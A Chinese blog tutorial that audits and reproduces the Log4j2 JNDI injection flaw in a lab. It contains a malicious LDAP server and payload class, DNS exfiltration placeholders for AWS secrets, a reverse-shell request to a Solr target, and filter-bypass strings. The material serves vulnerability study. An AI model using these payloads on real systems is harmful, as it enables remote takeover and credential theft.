Java代码审计15之Apache log4j2漏洞
文章目录
- 1、log4j简介
- 2、复现
- 2.1、高版本测试
- 2.2、测试代码
- 2.3、补充之dns探测
- 2.3.1、rmi、ldap也可以dnslog探测
- 2.3.2、dnslog外带信息
- 3、漏洞原理
- 3.1、漏洞的危害大的背景
- 3.2、具体的代码调试
- 4、靶场测试
- 4.1、dns探测
- 4.2、工具下载与使用
- 4.3、测试
- 4.4、手工可以测出,部分扫描器扫不到
- 5、bypass
1、log4j简介
Apache Log4j2是⼀个基于Java的⽇志记录⼯具。该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性。该⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息。⼤多数情况下,开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中。因为log4j是一个偏底层的组件,所以许多的服务都受到了影响,这个漏洞在刚公布的时候,也是引发了相当的轰动,
2、复现
2.1、高版本测试
先说结论,ldap协议,
使用1.8_65和1.8_151都可以直接触发,也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性但是1.8_202还是j了,即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性,也没有发出请求
rmi协议
1.8_65 直接触发1.8_151 需要设置“com.sun.jndi.rmi.object.trustURLCodebase”属性1.8_202 J
还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ”
这个“exp”区分大小写,要与rmi恶意服务提供的保持一致

2.2、测试代码
先引入组件,
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency>

main.java
package com.example.demo2;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class main {private static final Logger logger =LogManager.getLogger();public static void main(String[] args) throws Exception {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");//ldap://127.0.0.1:7777/Explogger.error("${jndi:ldap://127.0.0.1:7777/Exp}");}}
这个ldap和恶意类还使用上一节提到的,ldap_Hack_server.java
package com.example.demo2;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) {String[] args=new String[]{"http://192.168.1.25:8888/#jndiexp"};int port = 7777;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResultresult ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}
jndiexp.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2; 增加会出错public class jndiexp implements ObjectFactory {static {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}
}
2.3、补充之dns探测
2.3.1、rmi、ldap也可以dnslog探测
在使用dnslog探测漏洞的时候,
其实不仅仅dns协议可以,ldap和rmi协议也可以,

类似的rmi,
这里要注意下面,所以rmi协议相比较逊一些,
${jndi:rmi://rmi3.b5ar6g.dnslog.cn 这个后边必须跟一些东西,比如${jndi:rmi://rmi3.b5ar6g.dnslog.cn/xxx

但是不是太建议大家使用ldap和rmi毕竟有各种限制,还是直接使用dnslog比较方便
2.3.2、dnslog外带信息
另一个是dns、rmi、ldap都可以在探测dnslog的时候,外带一些系统的信息,

类似的有以下,各位有空可以试试,笔者未作测试,
这些都是log4j组件中的一个特殊占位符
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
3、漏洞原理
3.1、漏洞的危害大的背景
在log4j刚出来的时候,危害相当大,我们先说下log4j正常的使用背景,其实这个主要的原因,和日志有关,日志是应用软件中不可缺少的部分,Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。 最简单的日志打印 我们看如下登录场景:

咱们今天不用关心登录是怎么实现的,只用关心用户名name字段就可以了,代码如下
public void login(string name){String name = "test"; //表单接收name字段logger.info("{},登录了", name); //logger为log4j
}
很简单,用户如果登陆了,我们通过表单接收到相关name字段,然后在日志中记录上这么一条记录。这个看起来是很常规的操作了,记录日志为什么会导致漏洞呢?这主要就是lookup支持打印系统变量且name变量是用户输入的,用户输入什么都可以,
假设输入如下,

上述代码会输出,
Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了
为什么会产生这种奇怪的现象呢?
是因为log4j提供了一个lookup的功能,可以把一些系统变量放到日志中,

比较敏锐的同学可能已经开始察觉到了,现在越来越像sql注入了。其实这就是jndi注入了,之前我们说过,jndi注入可以利用rmi、ldap协议实现rce
3.2、具体的代码调试
进来先关注,这个log4j的版本,
有的maven会导入多个版本,在测试的时候,进入别的版本

然后每个函数可能会传递很多的参数,其实我们不用管别的,这里盯紧我们可控的参数即message然后,继续向下跟,都是很短的函数,没有if..else..这种条件结构直接向下走就行,这个小技巧就是,直接ctrl进到方法的实现,然后大个断点,然后直接“步过”到断点一个方法,一个断点,一个“步过”直到走到1641行,按照我们的估算,下一次是同页面的1572行,但是当1572行打了断点,“步过”的时候直接访问dnslog/弹窗了这就说明在1641行不能在“步过”了,需要“步入”

重新来,断点就留到1641,直接debug到这,然后“步入”到87行的log方法,但是这里有一个新的问题是,遇到if..else..怎么知道进的是哪个,不知道就都打上断点,再次“步过”

经过测试是进入if,但是这个log方法直接跟进去是一个定义的接口,所以也不能直接“步过”,继续“步入”,到了27行,

继续跟到这种结构,即if..else..下面还有代码,这里的重点不是进的 if还是else,重点是最终的漏洞是否在if..else..结构内触发,假设没有在if..else..语句内触发,那么其实这个if..else...的代码可以忽略,所以这种,我们直接在下面打断点,看看有没有触发,假设触发了,我们在重新来一遍定位是if还是else,并继续向下假设没有触发,我们就直接忽略

继续可以跟到这个107行,记录下

再向下就到这了,这个循环该到第八次的时候即i=8时,在步过就是9次的时候,直接步入,因为i=8的时候在步过就会直接弹窗,即漏洞是在第8次触发的

然后跟到这个MessagePatternConverter.class文件,
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));这段代码在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制。

然后这个地方是调试的一个重点,StrSubstitutor.class文件有多个while循环的这个地方触发的,但是正常跟进需要循环很多次,相当简单的是可以手动修改一些变量的值,这个值可能还是会绕一会,想绕的可以自己找找具体是在哪触发的,不想的可以看下下面的,

直接将断点打到该文件的418行,然后“步过”到418行,在这里解析到的字符串已经是“jndi:ldap://127.0.0.1:7777/Exp”
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);

到这,log4j将会使用“jndi:ldap://127.0.0.1:7777/Exp”作为lookup参数,进行正常的lookup查询之前我们说过当lookup函数可控时就会造成rce,所以看到lookup函数且参数可控,一定要警惕,

继续,在这个地方,通过调试发现interpolator类的lookup函数会以:为分隔符进行分割以获取prefix内容(即152行代码)传入的prefix内容为jndi字符串因此this.strLookupMap获取到的类为JndiLookup类(156行)

继续,

继续,笔者到这一步,继续步入就直接弹窗了,到这,其实还是log4j组件内,即下面应该跳到jdk底层代码的lookup函数,然后去加载我们的恶意类,但是不知道为什么无法跟进去,先到这把

调试参考:https://www.anquanke.com/post/id/262668
4、靶场测试
4.1、dns探测
使用vulhub搭建一个靶场,直接poc搞一下dns,
GET /solr/admin/cores?action=${jndi:dns://${sys:java.version}.30363k.dnslog.cn} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

正常情况下,这种地方一般都是burp的插件或者xray或者其他扫描器扫到,
4.2、工具下载与使用
然后就是利用,下载利用工具,https://github.com/WhiteHSBG/JNDIExploitkali起来环境,
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x注意这个IP不要写0.0.0.0;否则会攻击失败

-u可以查看payload,根据不同的框架选择即可,这个地方也可以加上-i IP这样出来的payload就不是0.0.0.0而是可以直接利用的了

具体的使用可以看下,工具地址有说明,

4.3、测试
由上面我们直接测试,一开始使用一些有回显的测试,都没有回显,

然后换直接反弹shell的,kali起监听,直接拿到shell,

详细请求数据包,
GET /solr/admin/cores?action=${jndi:ldap://192.168.1.27:1389/Basic/ReverseShell/192.168.1.27/889} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
cmd: whoami
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4.4、手工可以测出,部分扫描器扫不到
其实根据以上的原理,就可以看到,漏洞的触发是需要有打印log这个需求,但是不是所有的url的所有参数(包含header头参数)都会被打印,即漏洞的触发点可能只会是在部分uri的部分参数(包含header头参数)
回到问题,为什么有的扫描器扫不到,
着看扫描器实现的原理,假设扫描器是直接拼接了用户给的url,比如根目录
但是根目录没有漏洞的触发点的话,扫不到很正常,
所以想让扫描器覆盖到,笔者想到的就是配合爬虫,将爬虫爬到每个uri都过一遍
5、bypass
一些流传的bypass姿势,
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}${jndi:rmi://adsasd.asdasd.asdasd}${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
相关文章:
Java代码审计15之Apache log4j2漏洞
文章目录 1、log4j简介2、复现2.1、高版本测试2.2、测试代码2.3、补充之dns探测2.3.1、rmi、ldap也可以dnslog探测 2.3.2、dnslog外带信息 3、漏洞原理3.1、漏洞的危害大的背景3.2、具体的代码调试 4、靶场测试4.1、dns探测4.2、工具下载与使用4.3、测试4.4、手工可以测出&…...
c语言每日一练(13)
前言:每日一练系列,每一期都包含5道选择题,2道编程题,博主会尽可能详细地进行讲解,令初学者也能听的清晰。每日一练系列会持续更新,上学期间将看学业情况更新。 五道选择题: 1、程序运行的结果…...
H5 + C3基础(六)(2D转换transform 位移 旋转 缩放)
2D转换transform & 2D转换transform平移利用平移百分比优化盒子水平垂直居中 旋转指定2d变换的中心点 transform-origin 缩放2d转换简写 2D转换transform 所谓2D转换,就是在二维坐标系内进行各种操作,包括平移,转动,缩放等等…...
2023最新 Electron.js 桌面应用开发教程(基础篇)更新中
Electron是什么? Electron是一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的框架。 嵌入 Chromium 和 Node.js 到 二进制的 Electron 允许您保持一个 JavaScript 代码代码库并创建 在Windows上运行的跨平台应用 macOS和Linux Electron Fiddle 运行实例 Ele…...
【ES】笔记-Set集合实践
JS <script>let arr[1,2,3,4,5,4,3,2,1];//1.数组去重let result0[...new Set(arr)];console.log(数组去重${result0});//2.交集let arr2[4,5,6,5,6];let result[...new Set(arr)].filter(item>{let s2new Set(arr2);//4 5 6if(s2.has(item)){return true;}else{retur…...
缺陷或负样本难以收集怎么办?使用生成式模型自动生成训练样本,image-to-image Stable diffusion
文章大纲 样本稀疏与对应的解决方案如何解决工业缺陷检测小样本问题参考1:AIDG(Artificial Intelligent Defect Generator)参考2:灵感来源 : Image-to-Image Diffusion Models参考文献与学习路径参考博文数据集算法缺陷检测库hugging face样本稀疏与对应的解决方案 1.数据层面…...
ZMTP协议
ZoreMQ Transport Protocol是一个传输层协议,用于ZMQ的连接的信息交互,本文档描述的是3.0协议,主要分析基于NULL Security Mechanism 协议语法 ZMTP由三部分组成,分别是 greeting、handshake、traffic 部分描述构成greeting描述…...
ubuntu18安装中文环境
1. 安装中文语言包 首先,我们需要安装中文语言包。打开终端,输入以下命令: sudo apt-get install language-pack-zh-hans 这个命令会下载并安装中文语言包。安装完成后,我们需要重新启动系统(reboot)。 2. 安装中文输入法 安…...
怎么提取视频中的音乐保存到本地?其实方法很简单
当你想要使用视频中的音乐时,你可以考虑将它从视频中提取出来。这可以用于制作音频样本集,制作铃声或其他音频素材,或者向其他人展示视频的音乐部分而无需显示视频本身。如果你是一位音乐制作人员,你可能会需要一些特定类型的音效…...
线性代数的学习和整理18:矩阵的秩的各种定理, 秩和维度(未完成)
目录 1 矩阵的秩 矩阵的秩 2 求秩的方法 矩阵的维度秩 矩阵的维度 向量的模,矩阵的模-没有把,难道是面积? 矩阵的平直概念 5 矩阵的初等变换(矩阵等价概念的引出) 1 为什么要引入矩阵的“秩” 这个概念&#x…...
UVa11374 Airport Express(Dijkstra)
题意 给出经济路线以及商业路线,在给出起始点s,终止点e,在只能使用其中一个商业路线 的情况下输出最短路径 思路 如果选择商业路线为从u到v,则需要从s->u,u->v,v->e点的路径最短。使用Dijkstra计算出从s点…...
hadoop的hdfs中避免因节点掉线产生网络风暴
hadoop的hdfs中避免因节点掉线产生网络风暴 控制节点掉线RPC风暴的参数 三个参数都是hdfs-site.xml中参数,具体可以参考apache hadoop官网,其实块的复制速度有两个方面决定,一是namenode分发任务的速度,二则是datanode之间进行复…...
2023年高教社杯 国赛数学建模思路 - 案例:最短时间生产计划安排
文章目录 0 赛题思路1 模型描述2 实例2.1 问题描述2.2 数学模型2.2.1 模型流程2.2.2 符号约定2.2.3 求解模型 2.3 相关代码2.4 模型求解结果 建模资料 0 赛题思路 (赛题出来以后第一时间在CSDN分享) https://blog.csdn.net/dc_sinor?typeblog 最短时…...
Spring MVC介绍
MVC模式是什么 MVC 模式,全称为 Model-View-Controller(模型-视图-控制器)模式,它是一种软件架构模式,其目标是将软件的用户界面(即前台页面)和业务逻辑分离,使代码具有更高的可扩展…...
5年测试在职经验之谈:2年功能测试、3年自动化测试,从入门到不可自拔...
毕业3年了,学的是环境工程专业,毕业后零基础转行做软件测试。 已近从事测试行业8年了,自己也从事过2年的手工测试,从事期间越来越觉得如果一直在手工测试的道路上前进,并不会有很大的发展,所以通过自己的努…...
【Python数据分析】数据分析之numpy基础
实验环境:建立在Python3的基础之上 numpy提供了一种数据类型,提供了数据分析的运算基础,安装方式 pip install numpy导入numpy到python项目 import numpy as np本文以案例的方式展示numpy的基本语法,没有介绍语法的细枝末节&am…...
Swift 如何从图片数据(Data)检测原图片类型?
功能需求 如果我们之前把图片对应的数据(Data)保持在内存或数据库中,那么怎么从 Data 对象检测出原来图片的类型呢? 如上图所示:我们将 11 张不同类型的图片转换为 Data 数据,然后从 Data 对象正确检测出了原图片类型。 目前,我们的代码可以检测出 jpeg(jpg), tiff,…...
【ES6】 JavaScript 中的Object.assign
Object.assign() 是 JavaScript 中的一个方法,它用于复制源对象的所有可枚举属性到目标对象。该方法会返回目标对象。 这是其基本用法: let target Object.assign({}, source);在这个例子中,source 对象的所有可枚举属性都被复制到了 targ…...
Redis缓存和持久化
目录 Redis缓存 什么是缓存 缓存更新策略编辑 业务场景 缓存穿透 常见的解决方案 缓存雪崩 解决方案 缓存击穿 解决方案 Redis持久化 RDB持久化 执行时机 RDB方式bgsave的基本流程 AOF持久化 RDB和AOF的对比编辑 Redis主从 数据同步原理 总结 Redis缓存 …...
OpenCV(六):多通道分离与合并
目录 1.多通道分离split() 2.多通道合并merge() 3.Android JNI demo 1.多通道分离split() void cv::split ( InputArray m, OutputArrayOfArrays mv ) m:待分离的多通道图像。 mv:分离后的单通道图像,为向量vector形式。 2.多通道合并merge…...
Android Wi-Fi 连接失败日志分析
1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分: 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析: CTR…...
Vue记事本应用实现教程
文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展:显示创建时间8. 功能扩展:记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...
智慧医疗能源事业线深度画像分析(上)
引言 医疗行业作为现代社会的关键基础设施,其能源消耗与环境影响正日益受到关注。随着全球"双碳"目标的推进和可持续发展理念的深入,智慧医疗能源事业线应运而生,致力于通过创新技术与管理方案,重构医疗领域的能源使用模式。这一事业线融合了能源管理、可持续发…...
Leetcode 3576. Transform Array to All Equal Elements
Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接:3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到…...
8k长序列建模,蛋白质语言模型Prot42仅利用目标蛋白序列即可生成高亲和力结合剂
蛋白质结合剂(如抗体、抑制肽)在疾病诊断、成像分析及靶向药物递送等关键场景中发挥着不可替代的作用。传统上,高特异性蛋白质结合剂的开发高度依赖噬菌体展示、定向进化等实验技术,但这类方法普遍面临资源消耗巨大、研发周期冗长…...
uni-app学习笔记二十二---使用vite.config.js全局导入常用依赖
在前面的练习中,每个页面需要使用ref,onShow等生命周期钩子函数时都需要像下面这样导入 import {onMounted, ref} from "vue" 如果不想每个页面都导入,需要使用node.js命令npm安装unplugin-auto-import npm install unplugin-au…...
【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)
服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...
ESP32读取DHT11温湿度数据
芯片:ESP32 环境:Arduino 一、安装DHT11传感器库 红框的库,别安装错了 二、代码 注意,DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...
2.Vue编写一个app
1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...
【C语言练习】080. 使用C语言实现简单的数据库操作
080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...
